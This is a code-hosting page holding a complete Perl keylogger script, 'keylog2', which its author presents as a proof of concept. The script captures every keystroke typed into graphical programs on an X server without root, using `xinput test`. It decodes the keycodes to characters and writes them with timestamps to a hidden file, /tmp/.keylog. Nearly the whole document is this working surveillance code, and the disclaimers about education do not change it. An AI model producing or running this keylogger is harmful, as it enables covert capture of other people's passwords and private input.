My old shell scripts that have been retired from my dotfiles.
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

293 lines
6.5 KiB

  1. #!/usr/bin/perl -w
  2. # keylog2 - a rootless keylogger that only requires an X server and the xinput
  3. # command (provided by xorg-x11-apps on Fedora). You'll also need to install
  4. # the Perl module IO::Pty::Easy.
  5. #
  6. # Unlike my first keylogger proof-of-concept, this one doesn't require root
  7. # privileges because it just uses the X Window System. Therefore it only
  8. # catches key inputs made to graphical programs on the same X server that the
  9. # keylogger runs on.
  10. #
  11. # How it works: running `xinput list` lists all your X input devices. There's
  12. # a keyboard device named "AT (something)", mine is "AT Translated Set 2
  13. # keyboard". Get the ID from the line that says this and then run
  14. # `xinput test <id>` and it will start dumping keystroke information as the
  15. # user types keys into ANY graphical app.
  16. #
  17. # I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
  18. # so no guarantees it will work for everybody. This is just another proof of
  19. # concept anyway, and shouldn't be used for malicious purposes.
  20. #
  21. # Under the default configuration, the log file is written to /tmp/.keylog
  22. # and only logs key release events, except for modifier keys (Shift, Ctrl,
  23. # Alt, and Super (Windows key)) where it will also log the Key Down event
  24. # (so Alt-Tabbing makes more sense in the log, for example). You can
  25. # optionally configure it to log EVERY key down event if you'd like, though.
  26. #
  27. # Again, this is just a proof of concept and should be used for educational
  28. # purposes only, and not for anything malicious.
  29. #
  30. # --Kirsle
  31. # http://sh.kirsle.net/
  32. use strict;
  33. use warnings;
  34. use IO::Pty::Easy;
  35. use IO::Handle;
  36. ##########################
  37. # Configuration #
  38. ##########################
  39. my $conf = {
  40. # Log files to write keys to
  41. logfile => "/tmp/.keylog",
  42. # By default only key-releases are logged. Log key-presses too?
  43. log_keydown => 0,
  44. };
  45. ##########################
  46. # End Configuration #
  47. ##########################
  48. # X11 display.
  49. $ENV{DISPLAY} ||= ":0.0";
  50. # Make sure we have xinput.
  51. if (system("which xinput > /dev/null") != 0) {
  52. print "You require the `xinput` command for this keylogger to work.\n";
  53. exit(1);
  54. }
  55. # Get the input list.
  56. my @inputs = `xinput list`;
  57. # Find the AT keyboard.
  58. my $id;
  59. foreach my $line (@inputs) {
  60. $line =~ s/^[\s\t]+//g;
  61. $line =~ s/[\s\t]+$//g;
  62. $line =~ s/[\x0D\x0A]+//g;
  63. next unless length $line;
  64. if ($line =~ /keyboard/i && $line =~ /. AT/) {
  65. ($id) = ($line =~ /id=(\d+)/)[0];
  66. }
  67. }
  68. if (!defined $id) {
  69. print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
  70. exit(1);
  71. }
  72. print "Keyboard ID: $id\n";
  73. # Track state of modifier keys.
  74. our %mod = (
  75. 'shift' => 0,
  76. 'ctrl' => 0,
  77. 'alt' => 0,
  78. 'super' => 0,
  79. );
  80. # Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
  81. my $tty = IO::Pty::Easy->new();
  82. print "Watching `xinput test $id`\n";
  83. $tty->spawn("xinput test $id");
  84. while ($tty->is_active) {
  85. my $data = $tty->read();
  86. my @lines = split(/\n/, $data);
  87. foreach my $line (@lines) {
  88. # Key event?
  89. chomp $line;
  90. if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
  91. event($1, $2);
  92. }
  93. }
  94. }
  95. # Handle key events
  96. sub event {
  97. my ($event,$sym) = @_;
  98. # Only QWERTY keyboards supported.
  99. my $key = kbd_qwerty($event,$sym);
  100. print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
  101. # Log it?
  102. if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
  103. ($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
  104. my @time = localtime(time());
  105. my $ts = join(" ",
  106. join("-",
  107. sprintf("%4d", $time[5] + 1900),
  108. sprintf("%2d", $time[4] + 1),
  109. sprintf("%2d", $time[3]),
  110. ),
  111. join(":",
  112. sprintf("%2d", $time[2]),
  113. sprintf("%2d", $time[1]),
  114. sprintf("%2d", $time[0]),
  115. ),
  116. );
  117. open (my $log, ">>", $conf->{logfile});
  118. print $log "[$ts] "
  119. . ($event eq "release" ? "<Release>" : "<Press>")
  120. . " "
  121. . ($key eq " " ? "{space}" : $key)
  122. . "\n";
  123. close ($log);
  124. }
  125. }
  126. # QWERTY keysym finder
  127. sub kbd_qwerty {
  128. my ($event,$sym) = @_;
  129. # Modifier keys.
  130. my %modkeys = (
  131. 50 => 'shift', # L Shift
  132. 62 => 'shift', # R Shift
  133. 37 => 'ctrl', # L Ctrl
  134. 105 => 'ctrl', # R Ctrl
  135. 64 => 'alt', # L Alt
  136. 108 => 'alt', # R Alt
  137. 133 => 'super', # L Super
  138. );
  139. if (exists $modkeys{$sym}) {
  140. my $name = $modkeys{$sym};
  141. $mod{$name} = $event eq "press" ? 1 : 0;
  142. return "{\u$name}";
  143. }
  144. # Qwerty keys.
  145. my %keys = (
  146. # qwerty row
  147. 24 => [ 'q', 'Q' ], # normal, shift key
  148. 25 => [ 'w', 'W' ],
  149. 26 => [ 'e', 'E' ],
  150. 27 => [ 'r', 'R' ],
  151. 28 => [ 't', 'T' ],
  152. 29 => [ 'y', 'Y' ],
  153. 30 => [ 'u', 'U' ],
  154. 31 => [ 'i', 'I' ],
  155. 32 => [ 'o', 'O' ],
  156. 33 => [ 'p', 'P' ],
  157. 34 => [ '[', '{' ],
  158. 35 => [ ']', '}' ],
  159. 51 => [ "\\", '|' ],
  160. # asdf row
  161. 38 => [ 'a', 'A' ],
  162. 39 => [ 's', 'S' ],
  163. 40 => [ 'd', 'D' ],
  164. 41 => [ 'f', 'F' ],
  165. 42 => [ 'g', 'G' ],
  166. 43 => [ 'h', 'H' ],
  167. 44 => [ 'j', 'J' ],
  168. 45 => [ 'k', 'K' ],
  169. 46 => [ 'l', 'L' ],
  170. 47 => [ ';', ':' ],
  171. 48 => [ '"', "'" ],
  172. 36 => "{Return}",
  173. # zxcv row
  174. 52 => [ 'z', 'Z' ],
  175. 53 => [ 'x', 'X' ],
  176. 54 => [ 'c', 'C' ],
  177. 55 => [ 'v', 'V' ],
  178. 56 => [ 'b', 'B' ],
  179. 57 => [ 'n', 'N' ],
  180. 58 => [ 'm', 'M' ],
  181. 59 => [ ',', '<' ],
  182. 60 => [ '.', '>' ],
  183. 61 => [ '/', '?' ],
  184. # number row
  185. 49 => [ '`', '~' ],
  186. 10 => [ '1', '!' ],
  187. 11 => [ '2', '@' ],
  188. 12 => [ '3', '#' ],
  189. 13 => [ '4', '$' ],
  190. 14 => [ '5', '%' ],
  191. 15 => [ '6', '^' ],
  192. 16 => [ '7', '&' ],
  193. 17 => [ '8', '*' ],
  194. 18 => [ '9', '(' ],
  195. 19 => [ '0', ')' ],
  196. 20 => [ '-', '_' ],
  197. 21 => [ '+', '=' ],
  198. # space bar
  199. 65 => ' ',
  200. # number pad
  201. 90 => '{Num-0}',
  202. 87 => '{Num-1}',
  203. 88 => '{Num-2}',
  204. 89 => '{Num-3}',
  205. 83 => '{Num-4}',
  206. 84 => '{Num-5}',
  207. 85 => '{Num-6}',
  208. 79 => '{Num-7}',
  209. 80 => '{Num-8}',
  210. 81 => '{Num-9}',
  211. 106 => '{Num-/}',
  212. 63 => '{Num-*}',
  213. 82 => '{Num--}',
  214. 86 => '{Num-+}',
  215. # F keys
  216. 67 => '{F1}',
  217. 68 => '{F2}',
  218. 69 => '{F3}',
  219. 70 => '{F4}',
  220. 71 => '{F5}',
  221. 72 => '{F6}',
  222. 73 => '{F7}',
  223. 74 => '{F8}',
  224. 75 => '{F9}',
  225. 76 => '{F10}',
  226. 95 => '{F11}',
  227. 96 => '{F12}',
  228. # Misc
  229. 9 => '{Esc}',
  230. 22 => '{Backspace}',
  231. 77 => '{Num Lock}',
  232. 107 => '{Print Scr}',
  233. 118 => '{Insert}',
  234. 119 => '{Delete}',
  235. 110 => '{Home}',
  236. 112 => '{Pg Up}',
  237. 117 => '{Pg Dn}',
  238. 115 => '{End}',
  239. 111 => '{Up}',
  240. 116 => '{Down}',
  241. 113 => '{Left}',
  242. 114 => '{Right}',
  243. 135 => '{Menu}',
  244. 23 => '{Tab}',
  245. 66 => '{Caps Lock}',
  246. );
  247. if (exists $keys{$sym}) {
  248. if (ref($keys{$sym})) {
  249. print "(shift key: $mod{shift})\n";
  250. if ($mod{shift}) {
  251. return $keys{$sym}->[1];
  252. }
  253. else {
  254. return $keys{$sym}->[0];
  255. }
  256. }
  257. return $keys{$sym};
  258. }
  259. else {
  260. return "{Unknown: $sym}";
  261. }
  262. }